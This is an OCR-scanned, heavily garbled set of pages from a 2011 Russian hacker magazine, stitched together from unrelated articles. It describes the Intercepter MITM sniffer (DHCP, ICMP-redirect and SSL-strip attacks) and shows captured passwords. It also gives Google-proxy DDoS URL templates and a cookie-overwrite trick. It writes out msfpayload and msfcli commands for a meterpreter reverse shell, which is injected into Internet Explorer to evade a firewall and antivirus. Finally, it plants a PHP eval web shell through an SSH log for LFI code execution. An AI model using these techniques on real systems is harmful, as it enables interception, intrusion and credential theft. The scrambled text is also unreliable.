Суть атаки проста как nять коnеек. Существуют различные

техник, которые недавно появились в Ox4553-lnteгcepteг.

схемы nоведения ОНСР-клиентов. Мы рассмотрим классический

вариант. Когда комnьютер входит в сеть, он шлет сообщение

НОВИНКИ ФУНКЦИОНАЛА

DHCP Discoveгy, треб уя выдать IР-адрес и выслать действующую

По след ний раз lnteгcepteг обновлялся чуть больше года назад.

конфигурацию сети, включая шлюз по умолчанию. Наша задача

Тогда-то и было соз дано основное подспорье для различных

-выдать поддельный ответ DHCP Offeг, в кото ром будет указана

ХАКЕР

11/154/2011

MITM-

037


PCZONE наша конфигурация с нашим шлюзом. Так трафик пойдет через наш

NAT и мы сможем беспрепятственно его слушать. Данная ата­

ка вскользь описана в теории, реализована в etteгcap, улучшена

КРАТКО О

OX4553-INTERCEPTER

и автоматизирована в Ox4553-lnteгcepteг. Для проведения атаки пришлось решить ряд сложных вопросов:

1.

Не известность количества существующих компьютеров в сети и

Перехватывает парали и хэш-суммы для огромного

их привязка к IР-адресам. Можетпривести к проблемам в сети и

количества сервисов: ICQ/1 RC/AI M/FТP/IMAP/POP3/SMTP/LDAP/

истощению DНСР-пула.

В N C/SOC KS/HПP/WWW/N NTP/CVS/TELN ЕТ /М RA/DC++!VN С/

2. Борьба за первенство с легитимным DНСР-сервером . 3. Возврат контроля над жертвой, уведенной легитимным сервером.

Перехватывает сообщения большинства известных мессенжеров:

ICQ/AIM/JABBER/YAHOO/MSN/GADU-GADU/IRC/MRAI. Реконструирует SMTP/POP3 сообщения.

Вся магия кроется в решении этих пр облем.

1.

MYSQL/ORACLE.

Чтобы не пораждать проблемы в действующей сети, мы перена­

Сканирует локалку на наличие живых узлов с помощью

правляем всех клиентов в виртуальную сеть, отделенную от дей­

широковещательной рассылки АRР-запросов IARP SCANI .

ствующей. Для поддержания связи с реальной сетью и внешними

Ищет в сети DНСР-серверы IDHCP DISCOVERYI.

ресурсами во всей красе раскрывается Ox4553-NAT, регулирующий

Находит в локалке другие сниферы IPROMISCUOUS SCANI.

маршрутизацию.

Поддерживает подмену М АС-адреса для LАN-адаптеров.

Благодаря рядутестов было выявлено, что DНСР-сервер в

Может работать в режиме «экстремального>> сканирова ния

lnteгcepteг с использованием WinPcap работает быстрее других. Он

leXtгeme model, при котором сниферу достаточно указать целевой

оказался быстрее DНСР-службы Windows Sегvег 2003, быстрее по­

протокол без специфицирования порта. Ox4553-lnteгcepteг будет

пулярного приложения

tftpd32 и быстрее DНСР-серверов, встроен­ ных в АDSL-модемы. Помимо этого, DHCP в lnteгcepteг пропускает

просматривать весь трафик, автоматически «вылавливая>>

целый шагсогласования параметров во время передачи конфигу­

содержимого .

рации клиенту, что существенно повышает скорость реагировани51

Поддерживает RАW-режим .

2.

пакеты, относящиесяк данному протоколу путем анализа их

и выдачи ложной информации.

Выполняет удаленный снифинг трафика через RРСАР­

Возможна ситуация, чтолегитимный DНСР-сервер все-таки от­

демона, устанавливаемого на L inux/xBSD или Windows-yзлax

ветит быстрее нас. Такая ситуация была искусственно создана.

!nредпочтительнее всего- на шлюзе! .

И для ее решения предприняты дополнительные действия.

Включает в себя собственную реализацию

После принятия конфигурации клиент должен еще раз пере­

Реализует несколько МIТМ-атак:

проверить, не занял ли он чей-то адрес в сети, чтобы избежать

DHCP MiTM.

конфликта 1Р-адресов. Для этого он отсылает в сеть специаль­

Перехватывает SSL-пароли через SSL MiTM + SSL Stгip.

3.

NAT. ARP MITM, DNS оvег ICMP MiTM,

ный пакет gгatuitous а гр. Если в сети уже имеется компьютер с

таким адресом, клиент вновь пошлет DHCP Discoveгy с просьбой выделитьдругой адрес . Если же никаких ответов на запрос не пришло, значит, данный

IP свободен. При потере клиента ,

послать жертве сообщение, в котором будет указано, что до 1.2.3.4

lnteгcepteг следит за па кета ми gгatuitous а гр и отвечает клиен­

нужно идти через наш шлюз, где запущены lnteгcepteг и NAT. Это и

ту, говоря, что за прошенный адрес занят, для того чтобы вновь

есть техника ICMP Rediгect MITM. К сожалению, мы не можем п ере­

вызвать голосование и попытаться успеть выдать ложную кон­

направить разом все хосты, поэтому данную атаку можно использо­

фигурацию. Данная атака детально рассмотрена в видео Sniffing

вать для целевого перехвата конкретного узла. Однако в lnteгcepteг

dhcp based пetwoгk.

реализована техника, которая позволяет сильно расширить область применения перехвата с помощью сообщений ICMP Rediгect. Это DNS

ICMP

REDIRECТ

MITM

И

DNS OVER ICMP MITM

оvег ICMP Rediгect.

Следующие две техники используют для атаки особенности IСМР­

Вместо

site.com мы будем перенаправлять трафик от клиентского

протокола. Не вдаваясь в технические подробности сути и назна­

DNS-cepвepa. Цепная реакция за п ускается всего одним па кета м.

чения сообщений ICMP Rediгect, отмечу, что эти IСМР -сообщения

Сначала мы шлем жертве сообщение, что до его DNS-cepвepa нужно

позволяют добавить запись в таблицу маршрутизации удаленного

идти через наш шлюз, затем в бой вступает Ox4553 -NAT, который на­

узла. В записи должен содержаться IР-адрес хоста и IР-адрес

чинает обрабатывать DNS-ответы. Например, жертва хочет отрезаль­

шлюза, через который следует слать пакеты к указанному ресурсу.

вить

Например, зная, что некий

ответ и вытаскивает все 1Р-адреса, отвечающие за site1.com, после

site.com имеет адрес 1.2.3.4, мы можем

site1.com, -

NAT перенаправляет запрос к серверу, принимает

чего посылает жертве новые сооб щения ICMP Rediгect, говоря, что ко всем отрезольвенным IР-адр есам нужно идти через наш шлю з. Если ("} ОхШJ-NдТ 110.4.4

Г"'"'""

жертва посылает запрос к site2.com, ситуация повторяется. Таким образом, весь интернет-трафик начинает идти через lnteгcepteг и

Werfoce

NАТ.

on192.168.12

r

Правда, тут есть одно важное условие. Чтобы по казать его, рас­

Wetr>ol Werfoce

смотрим пример сетевой конфигурации жертвы: on192.168.1 .2

r

г Cortig1.rlllion

Ro<Aer"s IP 1 192 . 168 .

1

Гl---=-sом---=-Nд--Т--,1 Р" Profrisc ~

Cierts IP

r

! 192 . 168 .

. 111l

11 -

Clent

J192.168.15

. _ _ j Г РРРоЕ

ОНСР

Э

1

SSl

МIТ"'

Р"

SSl l OQ

t! ~

~---=============-----

IPockeb IN: SSL МIТМ. Настройка Ox4553-NAT

038

steolh

uT""""" ~ l

Г steolhiCMP Р ICMP ,__, ГгSSl port

Р"

PPPoE Clent'siP ===--1

r_

Г

1

р FТР

- 192.168.1 . 10 - 192.168.1.1

IР-адрес

жертвы

IР-адрес

шлюза

IР-адрес

DN5 - 192.168.1.2

маска

- 255.255.255.0

При такой конфигурации перенаправить DNS-cepвep мы не сможем. Он обязательно должен находиться за рамками данной подсети,- это обусловлено самим протоколом

ICMP. А вот если ис­

пользуется напрямую внешний сервер !например, гугловский

8.8.8 .81,

то препятствий для атаки нет.

ХАКЕР 11 / 154/2011


Снифер + МIТМ-атаки = Dx4553 - lnteгcepteг

АТАКИ

HASSL

Configuration - - - - - - - - - - - - - . ,

р Promisc SSL MITM Эта атака описана множество раз, позтому останавливаться подроб­ но на ее описании мы не будем, а расскажем, как она реа л изована

конкретно в lпtегсерtег. Ядром всех М I ТМ - атак в lnteгcepteг, как мы уже говорили, является

NAT.

Именно он отвечает за маршрутиза ц ию

п а ке т ов и доnолни т ельные д ействия для реализации каждой из

атак . Стандартно в не г о за ш ит перехват таких протоколов:

Г stealth DHCP

~ limeout ] 1

гз

Г steaRh ICMP Р' ICMP Updote ~ SSL portl Г SSL MiTM р SSL Log го;­ р SSL strip

Н ТТ РS-443 ;

PO P3S - 995; SMTPS-465; IMAPS- 993.

Конф и гура ц и и

П осле запуска Ох4553-NАТон открываетуказанные п орты на локаль­ ном интерфейсе и ж д ет входящих соедине н ий. Весь трафик жертвы по указанным про т околам nеренаправляе т ся на ранее откры т ые н ами

Ox4553-NAT

(5. Добро пожаловать в PayPal - Windows

порты. Н а з т о м э т аnе происходитследующее: В случае НТТРS

р FTP

http: //www. paypal. com/ru

NAT принимает входящее t ср-соединение , делает

заnрос к заnрашиваемому ресурсу и получает его сертификат.

Затем он nодменяет ключ шифрова н ия на свой и устанавливает

Добро nожаловать в

соединение с жертвой, выдавая себя за оригинальный сервер. П ослезто г оnроисходитnроксированиеда нн ыхмеждудвумя соединениями.

Во вре м я проведения ат аки

Для других п ро т околов ша г заnроса оригинального сертификата

SSL Strip у

PayPal

к л ие нт а м еняется f avicoп

оnущен,- вместо зто г о мы п осылаем ранее сге н ерированный ста т ичный сертификат. Так как наши сертификаты не являются

Расскажу об этом подробнее. Д ля начала нам элементарно нуж н о

по дп исанными д оверенными центрами, у пользователя будет вы­

видеть входящий трафик в текстовом виде, иначе никаких ссылок

скакива т ь п редупрежде н ие. В этом и заключается основной минус

мы не найдем. Все дело в том, что для снижения наг р узки и увели­

дан н ой т ехники.

чения скорости передачи данных в боль ш инстве случаев nакеты сжимаются такими ал г оритмами как

Кроме nриведенных выше п ротоколов, пользователь может доба­

gzip и л и deflate.

О возможности

принимать такие п акеты веб-браузер сооб щ ает серверу в соответ­

ви т ь любой другой п орт. О том, как это сделать, написано в руковод ­

ствующем поле wеЬ-запроса. П ервым ша г ом я вляется модификация

стве к сниферу. Так как сама атака п рово д ится при помощи

поля

NAT, то

неnосредственно l nteгcepteг не видит зашифрованых да н ных. Чтобы

он их увидел,

NAT делает

следующую хи т рость: весь исходящий

Accept- Encoding,

после которого весь текст посылается в от­

крытом виде. Также необходимо заме н ит ь безопас н ые куки, иначе возникнут труд н ости с установлением сессий, например на том же

SS L-трафик дублируется в сеть в о т крытом в иде, после чего парали

gmail.

п ояв л яются в ок н е снифера.

заменять httрs-ссылки их небезапасным аналогом

Ищем флаг Sec u гe и заменяем его на

HttpOnly. Теперь можно http. Д алее

при запросе изменен н ого https-ypлa мы устанав л иваем ht t рs­

SSL STRIP О т ехнике

соединение с оригинальным ресурсом и nроксируем дан н ые меж д у

SSL

Stгip мы п одробно nисали в

#125

номере [РОF-версию

клиентом и сервером. Чтобы сбить бдительность пользователя,

статьи ты н айдешь н а диске). Собстве н но го в ор я , не п осре д с т венно

lnteгcepteг подменяет

с перех в а т ом

имитирует безопасное соединение. Н а дан н ый моме нт l nte г cepteг

SSL

эта техника не связана. Перехва т ывать необхо­

favicon,

выдавая иконку с замо ч ком, который

димо обычный Н Т Т Р-трафик, анализируя его на httрs-ссылки. Воз­

не убивает сессии для п ри нудительной повтор н ой ав т оризации, как

мож н о ты помнишь, сколько воз н и бы л о, чтобы застави т ь э т у схему

зто может делать оригиналь н ый sslstгip, но такая о п ция будет, воз­

работать под

unix,

ис п ол ь зуя разработанную Мокеи Марлинспайком

можно, добавлена в будущем. Е ще мож н о вы д е л ить одно отли ч ие

утилиту sslst гi p. Все что нуж н о сдела т ь в lnteгcepteг для выполне­

данной реализации

ния а т ак

sslstгip работает как nрокси, о п ределяя куд а nроизводится соеди­

SS L Stгip

или

SSL MITM,- это

пос т авить соответствую­

SSL

Stгip от ее uniх-аналога. Ори г инал ьн ый

щую га л очку и п еренаправить трафик жертвы любым достуnным

н ение из заголовка wеЬ-запроса. Это вынуждает разрешат ь имя

с п особом . В данном случае весь веб -трафик nерена п рав л яется на

сервера через

л окальн ы й 80-й порт, откуда и происходит дальнейшее nроксиро­

случае в этом не т необходимости, так как адрес назначения из­

dns

вание соединений. Выполняя дан н ую а т аку, мы опять же стал­

вестен,- это

киваемся с рядом сложностей, ко т орые необхо д имо nреодолеть.

трафика жертвы.

и храни т ь свой собс т венный d ns-кeш. В н а ш ем

Ox4553-NAT,

который и осущес т вляет мар ш рутиза ц ию

I

I'R ealtek PCI е FE Family Controller' on local host:192.1 68.1.2 Protocol HПPSAuth

SMTPS Auth POP3S Auth SSL МIТМ .

ХАКЕР

Time/Date 11:57:41 .. . 11 :57:34... 11 :57:31 ...

To/From 199.58.21 0.12:44... 74.125.79.16:465/.. . 74.125.39.16:995/.. .

Host packetstormsecurity ....

Username packetuser someuser@gmail.com leet_user@gmail.com

Password secret%3Bas 456 123

nерех ваченные парали

11 / 154/2011

039



1

о

о

о

15

о о

о

о о

о

о о

о

о

о

о

11



Ooyouw!nttospeclythelnitloJiconteN:r::Jthememory1 ~

rr

~le.weitblrk Г ~memorycortentdьt.ttoXX .. Xon powef"Ц) n ~

1

r.

Yes, use tNs Не for the memory content dot:41 ('ll::lu е«1 vse 41 Нех.Юеам1 (lnteНonмt) ~ [.he:x] or 41 метоrу II'Юiiz.IOon,._

(.n*D

FieМ«oe: t .fasonl/memory.n* The ~ contett fie shoUd mdonn to ""'*h port's

"""""""''

IPORTJI

Т ор

View

W!te Bond

Cycl one ЕР1 СбТ144С6


Speclythe,..u. filestoconvert .-dthe typed ~0!1«ТТI'W''9f*to 9tf81lte. You см .;ю Щlort ro.,t file Worrмtioro from other Неs .-d s.we the ccnmslon sehC) WC!rfМUon aмted hero for f~.t~.nuu.

- Outp.A:~O!J~f~

~~~~~~' Г.lл~~~~~п~ю~с~~=~==~~~(.~~~)------------------------------------~ Qpljon>... File~:

1

1

Advllf"ICed...

1 '""'""""""''""

r.: iEPCS=,- --------------3"' """''

OIA:plt.flo.jc

1Romotej\oc~updatoclfferenc:ofie: F7

МОmоrуМорНе St•tAdctess


Монитор к каждой железке!

Теперь надо распечатать модуль и понять, как этот алгоритм реализован . Но предварительно лучше, конечно, пойти по гулять и

текста- заnускаешь и начинае шь печатать, меняя , при н еобхо дим о­

сти, цвет фона и текста .

проветрится. Я в этом модуле вроде как все знаю, но и то задымился,

пытаясь объяснить'

Ну вот, теперь ты мож ешь с мело пригласить свою боевую под ­ ругу, для которой выражение « кварц на

12 М Гц>> не является пустым

звуком, и по казать достигнутый результат' Но если что-то мешает Почти все •••

пригласить подругу к себе (родители или жена ! , вышеописанный

После написания всех модулей, нам необходимо их соеди нить в одно

способ прошивки не подойдет- программа сотрется сразу после вы­

целое. Можно сделать э то отдельным модулем, но мне предпочтитель­

ключения питания. В этом случае поступаем так. Заходим в

нее графический способ. В Pгoject Navigatoг выбираем вкладку Files,

File 7 Сопvегt Pгogгammiпg Files. В появившемся окне

на каждом модуле щелкаем правой клавишей мыши и выбираем пункт

делаем следующие настройки:

Сгеаtе Symbol Files fог Cuггent Files- тем самым мы соз да ем заго товку

1.

множества вариантов находим Block Diagгam /Schematic Files.

2.

В получившемся эскизе найди кноnку Symbol tool (значок в виде розетки! инажми его- появится окно, в котором можно выбрать наши за готовки . В левой части окна открой папку с проектом , щел ­ кни один раз намодуле-в правой части появится изображение, на

котором ты уви дишь модуль с входами/выходами. Е сли все н ормаль­ но, жмиОКипомещай модуль в рабочее пространство . Далее моду ­

3. 4.

Pin Tool и выбери, в каком

качестве нога будет использована: вход, выход или двунаnравлен­ ная. Получившийся значок помести на схему и зайди в его свойства, где измени имя на требуемое . Посл е этого соеди ни его с нужным

Если есть необходимость , можно указать имя выходного файла.

папке с проектом .

6.

Когда указанный файл п о явится в списке, выбери егоинажми кнопку Pгopeгties . Свойств не густо- всего одно, зато нужное:

Пол учив шийся результат ты можешь видеть на картинке 4.

А как в качестве входа/выхода указать физическую ножку ПЛИС?

Device выбираем EPCS1 - именно этот

В разделе l пput Files to сопvе гt выделяем с т року Flash Loadeг, жмем Add Device .. и указываем наш Cyclone. 5. Выделяем строку SOF Data Page_ O, жмем Add Files и выбираем файл конфигурации с расширением .sof- он должен находиться в

левую клавишу и ведешь, куда требует ся. Нич его сложного здесь нет.

Для этого найди выпадающий список

Из списка Coпfiguгatioп

конфигурационный чип сто ит у нас на плате .

ли надо соединить между собой- подводишь мышку к нужному вхо­

ду/выходу- курсор меняется на своеобразный приц ел, зажимаешь

Из выпадающего списка Pгogгamming file type выбираем ЛАG

lпdiг ect Configuгation File (.jicl.

для графического дизайна. По сле этого выбираем File7New и среди

Compгessionl Ставим галочку для подтв ерждения.

7.

Жмем Geneгate .

8. Опять запускаем программатор, жмем Add File и выбираем создан­ ный нами файл с ра сширен ием .jcc. 9. Ставим галочки Ргоgгаm и Veгify и наконец-то жмем старт. После перезагрузки платы стартует наша программа!

модулем вышеоnисанным способом.

· Но и еще не все! Выбираем Assigments7Pin Planneг и в nоявив­

шемся окне делаем окончательную доводку. Внизу будут перечислены

КУДА ЖЕ МЫ БЕЗ МЫШИ? Уже почти хотел закончить статью, но, глядя на экран с символами,

все наши входы/выходы с теми именами, которые мы задали. Рядом с

понял, что не хва т ает мыши' У нас же есть для нее разъем' Остальное

каждым из них в поле Lo cation указываем требуемую ножку ПЛИС.

оказалось делом техники.

П о ссылке

ПРОШИВКА ПЛАТЫ

мышью

ты можешь с качать модуль для работы с

MouseRefComp. В сост аве скача нн ого архива есть хороший

Теперь, когда все nозади (а если ты въехал в алгоритм, тебя мирские

мануал для работы с модулем , так что никаких вопросов не возник­

дела уже не интересуют!, осталось прошить плату. Втыкаем nрограм­

ло' Более того , модуль уже выдает информацию в виде положения

матор в USВ-порт компьютера и в ЛАG-разъем на nлате. Драйв ера для

курсора мыши на экране 640х480.

nрограмматора смело ищи в установочной nапке Alteгa (опя ть отсылаю

Сначала изменим описание модуля

VGA- добавим два входаХ и

к ресурсу maгsohod.oгg, где все подробно расписано!. Посл е установки

У- это будут координаты мыши. А сама отрисовка курсора займет

программатора вызываем Tools 7 Ргоgгаmmег, где осталось указать,

всего одну(IJ строчку:

что мы пользуемся ЛАG и какой у на с программатор (Нагdwаге Setupl. Жмем Staгt- и наша nрограмма уже находится в памяти платы.

Чтобы проверить работоспособность, нужно кабелем RS-232 (он

1f ( (line_count == y_mouse) && (letter_address/2 x_mouse) ) font = 255; ,, l•,c font = data;

тоже был в комnлекте! присоединить плат у к компьютеру, запустить HypeгTermiпal с на стройками 115200:8п:2 и начать печатать, помня,

Ее мы добавляем после строки tick _co uпteг =О .

что один байт идет на символ, а другой на атрибуты. Чтобы было

Добавляем модуль Mou se RefComp в про ект и настраиваем его на

удобнее пробов ат ь , я напи сал преетенькую программу для вывода

нашу частоту в 50 М Гц (по умолчанию стоит частота 100 МГцl- в фай­ ле ps2iпteгface увеличиваем в 2 раза значения констант DELAY100US,

DELAY20US, DELAY63CLK и DEBOUNCE DELAY. Тепе ь мод ль готов Деrюнстрационная

nporpartrta для

вывода текст а на экран

YGA

jсом1

Закрыть nорт

Цвет символо..----------,

Цвет Фон,;.----------,

Р" Красный

Г Красный

Р" Зеленый

Г Зеленый

Р" Синий

Г Синий


ВЗЛОМ/ЕАSУНАСК

Тюри н <<GreenDog» Алексей, Digital Security

[twitter.com/antyurinl

ЗАДДОСИТЬ ВЕ&-СЕРВЕР

Eii.iatA\!tA1 ЪА,

РЕШЕНИЕ

как раз тем, что инициировала множество заnросов через серверы

При слове <<DDoS» сразу всnоминается август, который оказался

nоисковика, от чего атакуемый сайт nадал nод DDoS'oм. Для усиления

на редкость скандальным по части атак, связанных с отказом в

и ускорения выноса сайта предлагалось в качестве <<контента>> для

обслуживании. Новости особенно nестрили заголовками о дырке в

загрузки выбрать файлик побольше и сбрасывать соединение nри

Apache. Неудивительно, ведь речь идет о DDoS'e всех основных веток веб-демона, 60% ресурсов которого были установлены в Сети. Под проблемку с гапgе'ем к Apache быстро появился целый пучок

ответе от Google. Ситуация еще более усугублялась тем, что в лагах

сnлойтов в различных вариациях. Правда, для пентестерских целей

SQL-инъекции, не оnасаясь, что его вычислят. При меры:

более интересной оказалась наработка в видескриnтак nmap'yhttp-vuln-cve2011-3192.nse (доступна на официальном сайтеl . Не

1. https://plus.google.com/_/sharebox/

образом, атакуемый был, по сути. анонимен, и мог nроводить всякие

liпkpreview/?c=<S ITE >&t=l&_reqid= <RANDOM_NUMBER S>&rt=j

заваливая весь ресурс, она проверяет его дыряв ость.

В августе был выложен еще один любопытный скриnтик, реали­

2.

зующий DDoS через Google (goo.gi/ U9c3K I. Если по nорядку, то ребята из

атакуемого сайта фиксиравались IР-адреса поисковой системы. Таким

https://images2-focus-opeпsocial.googleusercoпteпt.

com/gadgets/proxy?ur l= <S ITE >&coпtaiпer=focus

IHteam нашли пару дырок в сервисах Гугла и сообщили об зто м куда

следует, но им по каким-то причинам не ответили. И, как это водится в

Здесь <SIТE>- имя атакуемого сайта,

<RANDOM_NUMBERS>-

околохакерских кругах, информация быстро nопала в nаблик, да еще

случайное число. Подробности и видеодемонстрация доступны по

вместе с утилитой, которой многие не поленились воспользовать-

линку goo.gl/f67F1 . Интересно, что nосле публикации тулзы IHteam

ся . Баги были по своей сути nростые: через сервисы

специалисты Google быстро связались с ав т орами, извинились за не­

Google можно

подгрузить контент с любого сайта. Прилагаемая тулза занималась

расторопность и, само собой, пофиксили все баги.

D: '\.pl•j'\.EBS'\.beta_l'e lease )nmap -scl•ipt =}1ttp-vнln-cve2011-3192 Starting Nmap 5.51 ( http://nmap.org ) at 2011-09-12 10:58 Nmap scan l'epo1•t fo1• ·---- --- .... --~· ( --~· _______ ) Host is нр (0.0019s latency). PORT STATE SERUICE 80/tcp open http : http-vнln-cve2011-3192: : Apache byterange filter DoS: UULNERABLE Nmap done: 1 IP address (1 host

нр)

Rнssian

-рТ:80

Standard Time

scanned in 1.80 seconds

Хе-хе-хе . Кто-то не успел пропатчиться

ХАКЕР

11 / 154/ 201 1


EASY НАСК

ПОДМЕНИТЬ КУКИ &РАУЭЕРА

lf.•JJМi!t.ll hA J

му каналу. Н о вот что интересно: ведь по НТТР мы так же можем задать Уже пару номеров мы занимаемся изучением атак на клиентов, рабо­

куки. А что будет, если задаваемыекукибудут иметь одинаковые

тающих по защищенному НТТРS- соединению, изыскивая возмож­

имена [а также домены и пути]? Правильный ответ-кукибудут заме­

ность украсть куки. В продолжение темы посмотрим на достаточно

няться. Таким образом, nроведя какую-нибудь МIТМ-атаку на жертву,

интересное поведение браузеров при наложении кукисов из разных

можно заставить ее инициировать НТТР-соединение к серверу и

протоколов [НТТР и HTTPSI и такое важное поле куков как << domain >>.

подставить в заголовок ответа от него поле- << Set-Cookie>> с вредо­

Если обратится к теории, то поле

<<domain>>используется

для

носными данными. И это замениткукиот защищенного соединения!

задания отдельного домена или группы, куда впоследствии будут

Для чего это все может при годиться? Если исключить специфические

отправляться куки. По идее, домен должен иметь право с тавить куки

ситуации, то обе эти особенности браузеров позволяют nроводить ата­

только на себя. То есть домен

ки на клиентов. Конкретно в том случае, когда на атакуемом портале

example.com

не может ставить ~а поддо­

мены [web.example.coml или другие домены [example2.coml. Так оно и

находится уязвимость <<session fixation >> [то есть отсутствие смены

есть . Но есть интересная возможность- выставитькукидля домена

идентификатора пользователя после его входа в систему], но при этом

более низкого уровня [а точнее для группы]. Поясню на при мере: web.

отсутствует возможность воздействовать н а ответы от сервера кли­

example.com

может поставитькукидля

подгруппой, куки, по с тавленны е на

и на

example .com. Или, в случае с example.com, будут отправляться

web.example.com. Запомним это и п ерейдем к поведению браузе­

е нту. Кто-то может заме тить, что ба г и это го класса достаточно редки. Но как раз недавно я нашел такую достаточно крупном зарубежном сайте. По статистике, подобным недугом страдают многие ресурсы

ров на различных пр отоколах. Как мы знаем, куки, установленные по

[особенно интернет-магазины] , где предусмотрена возможность вы­

HTTPS с флагом <<Sec uгe>>, будут передаваться только по защищен но-

полнять какие-то действия до входа в систему.

ИНЪЕКТИРОВАТЬ ...СВОЙ КОД

В ПРОИЭВОЛЬНЫИ ПРОЦЕСС 1. Генерим необходимый нам mеtегргеtег геvегsе -шеллкод и коди­

Если взять современный файрвол, то уже это уже не просто про­

руем его в правильном виде:

грамма для блокировки входящих и исходящих портов. Бранд­ мауэры nроверяют, какое именно приложение пытается выбраться через те дырочки , которые остаются открытыми в системе. Усло­

вимся с задачей . Доnустим, мы имеем пользовательский доступ к серверу в какой-то закрытой сети и нам интересно атаковать

. / msfpayload windows/meterpreter/reverse_tcp EXITFUNC;thread LPORT;SSSS LHOST;192.168.e.l R 1 ./msfencode -а х86 -е x86/al pha_mi xed -t raw BufferRegister;EAX

соседние хосты. Первым делом, конечно же, требуется определить правила файрвала и какие приложения разрешены. Если есть воз­

2. Открываем у себя порт, чтобы принимать ко нне кт от жертвы :

можность- смотрим сами политики плюс статистику соединений

[netstat -naol. После обнаружения прил ожений и доступных им портов требуется осуществить << nодмен у>> . То есть нам нужно,

./msfcli multi/handler PAYLOAD;windows / meterpreter/re verse_tcp EXITFUNC;thread LPORT;5555 LHOST;192.168.e.l

чтобы фаер думал, что это легальная nрограмма бин дит порт, а не

3. Ну, а далее- инжектим шеллкод в необ ходимый нам процесс [IE]:

наша зло-утилита :]. Старыми, но но действенными способами обхода таких фаеров яв­

ляются code и dll-injection. По сути, данными техниками мы изменяем/

syringe. ехе -2 PYIIIIIIIIII...lVSVXEPM PID_IE

добавляем функционал для существующего легального ПО. Что еще интереснее, мы можем делать это <<на лету >>, то есть изменить процесс,

Здесь:

находящийся в памяти. Конечно , для этого на запущенный процесс

подобную активность. Как именно происходит инъекция, я не буду

PYIIIIIIIIII ... lVSVXEPAA- это сгенерированный нами шеллкод; PID_IE- идентификатор процесса iexploгe.exe [можно увидеть в tasklistl; -2 -режим работы syгinge.exe для инъекции шеллкода в сто­

объяснять- в Сети все хорошо расписано. Перейдем к практик е.

ронний проце сс.

у нас должны быть определенные права. Кроме того, надо иметь в виду, что некоторые продвинутые системы безопасности мониторят

Тулзов, реализующих инъекции, очень много. Сегодня мы

посмотрим syгiпge [ Ьit.ly/IBQ E ЗD I . У н ее есть интересная возмож­

Подсаженный в 1 Е код- <<первая сту пень >> mеtегргеtег'а, которая

ность- она умее т работать с шеллкода м, который был сге н ерирован

исполнится и nодконнектит ся к наш ему серверу, по с ле чего подгру­

в msfpayload. Если точнее, то с тем, что получен с аргуме нтом alpha _ mixed. По следний используется во-nервых для того чтобы п эйлоад

зятся другие модули. Далее , имея на руках mеtегргеtег, мы свобо дно

не задетектили антивирусы, а во-вторых чтобы иметь возможность

роутинга. И все это в обход файрвала и антивируса

отобразить пэйлоад в виде текстовой строки . Syгinge- это аналог

можем развить атаку и на соседние хосты, используя возможности

:1.

Стоит отметить, что у Syгiпge есть другие режимы работы. Если

утилиты shellcodeexec [мы о нем уже писали], но позволяющий

использовать <<-3>>, то syгinge будет инъектировать сам в себя [то

проделать инъект пэйлоада не только в себя, но и в почти любой про­

есть будет работать как shellcodeexec]. Режим << -1 >> тоже интере­

цесс. Имея в запасе такую тулзу, мы можем вырваться из системы.

сен, он инъектирует в сторонний nроцесс DLL'кy, что может быть

Рассмотрим пример. Мы определили, что у lnteгnet Ехрlогег'а есть

полезно. Как мы знаем, с помощью

msfpayload

мы можем с г енери­

возможность выхода в Сеть. Попроб уем проинжектить, к примеру,

ровать DLL'кy с необходимым нам пэйлоадом . Другими словами, это

mеtегргеtег в запущенный

альтернативный вариант, правда, он хуже первого , так как DLL'ки в

IE

и организовать соединение с любым

хостом. На пра к тик е э то будет выглядеть примерно так:

ХАКЕР

11 / 154/20 11

основ ном мониторятся и палятся антивирусами на уро вн е ФС.


ВЗЛОМ/ EASY НАСК

ПОЛУЧИТЬ ДОСТУП К WEB-CEPBEPY, ИМЕЯ LFI-УЯЗВИМОСТЬ В СКРИП Т Е

LFI [Local File lnclusionl- достато ч но расnространен н ая дырка,

:cg~~

а~:

nрисущая скриnтовых языкам, а потому широко расnространенная в

<-~:-.;.

~-·г.:..fs_:::::~::rr::._ , :

<:~~;

~~а- r:_~~:.=Fз

Сети . Как известно, скриnтовые языки nозволяют на лету nодгружать

;...r:с-::.з:?

::.-::::--._-=::::. <:t:.:-.:;: -:: .. а:..,:_~:::::::"'"::..' ;

в начальный сценарий другие сценарии, что часто исnользуется nро­

, ; :>

:::.~2 . :..s: . :..э: . :..2S< 'з

~азз·;::::d:

->1:..92.:..6:.:..::<.:..29 '.=:

;:с.з.з···:::з:

: ..

[

граммистами.

Проблема, как это обычно бывает, кроется в недостаточной

nроверкеnользовательского ввода . Как nодтиn инклуда,

Ввод им к од вм е сто лоrи на

LFI nо ­

зволяет nодгрузить контент только с того же хоста [в отличие от RFII. Но nодгрузка скриnтов- еще не выnолнение команд на сервере.

умолчанию часто достуnен для чтения всем. П робуем авторизиро­

Классический сnособ nерейти к удаленному вы n олнению команд ­

ваться на тестовой машине, ис n ользуя з н акомые кома н ды:

добавить какой-то код в файл на сервере, а потом подг р уз и ть дан н ый файл через

LFI. Чаще всего исnользуются логфайлы веб-сервера.

<? ph p eva l ($_GET[ cmd ] ); ?>

Отnравляем на сервер заnрос с необходимым кодом, он сохра­ В итоге nолучаем заnись в лагах, которую мы можем инклудить .

няется в журнале- и мы его nодгружаем. Но трюк этот достаточно

Стоит отметить и недостатки этого сnособа. Во-nервых, логфайл не

старый. Что есть новенького? Могу предложить « вариацию на тему »

всегда достуnен инклуду [по разным nричинамl, а во-вторых, nере­

с исnользованием логов авторизаций SSH-cepвepa. Если на атакуемом сервере есть демон

OpenSSH , то мы можем

даваемаякоманда выполнитьсятрижды,таккакзаnисейотодного

nодключиться к нему, указав в качестве имени nользователя не ­

коннекта будет целых три. Кстати говоря, в самом файле логов

обходимый нам код. А далее как обычно: подгрузить его инклудом.

частенько хранится интересная инфа, которая может nозволить раз­

Файл логов обычно лежит в /vaг/log/auth . log и, что важно для нас, по

вить атаку на другие машины локальной сети.

'~j•

-1 ,_,с, -1- -1·' l•t

··1•

-1

,_,с,

,,Ji•ll-11.'c,J -1- -1:: l•t ooli•II-11_:.J

-1

,_,с,

-1::

F,;ll~,J

lJ,~I · ··j·lij• ~,.;l •!_•:ETI• m•IJ' -,_ f10111 1~•.' 1•:.:0:.1'~•0 1 ,; .. ,;~ t"' lli.dll•l ti'~J · ' j•I1J• ~,,;1•!_••EТI(m•ll' '· fгom 1"=•2 1•5:0:

F.;ll~•l

j•.;_,ow•_,,,j f,_,,

I11<1l1,J

1с•о

1 po1t

1•:·З

1'") 1

:::32~•0

.,,

j,_· ·:~1•

-

-.

с,,:,

l•t _,oJi•ll-11-'cl

lll•dll•l
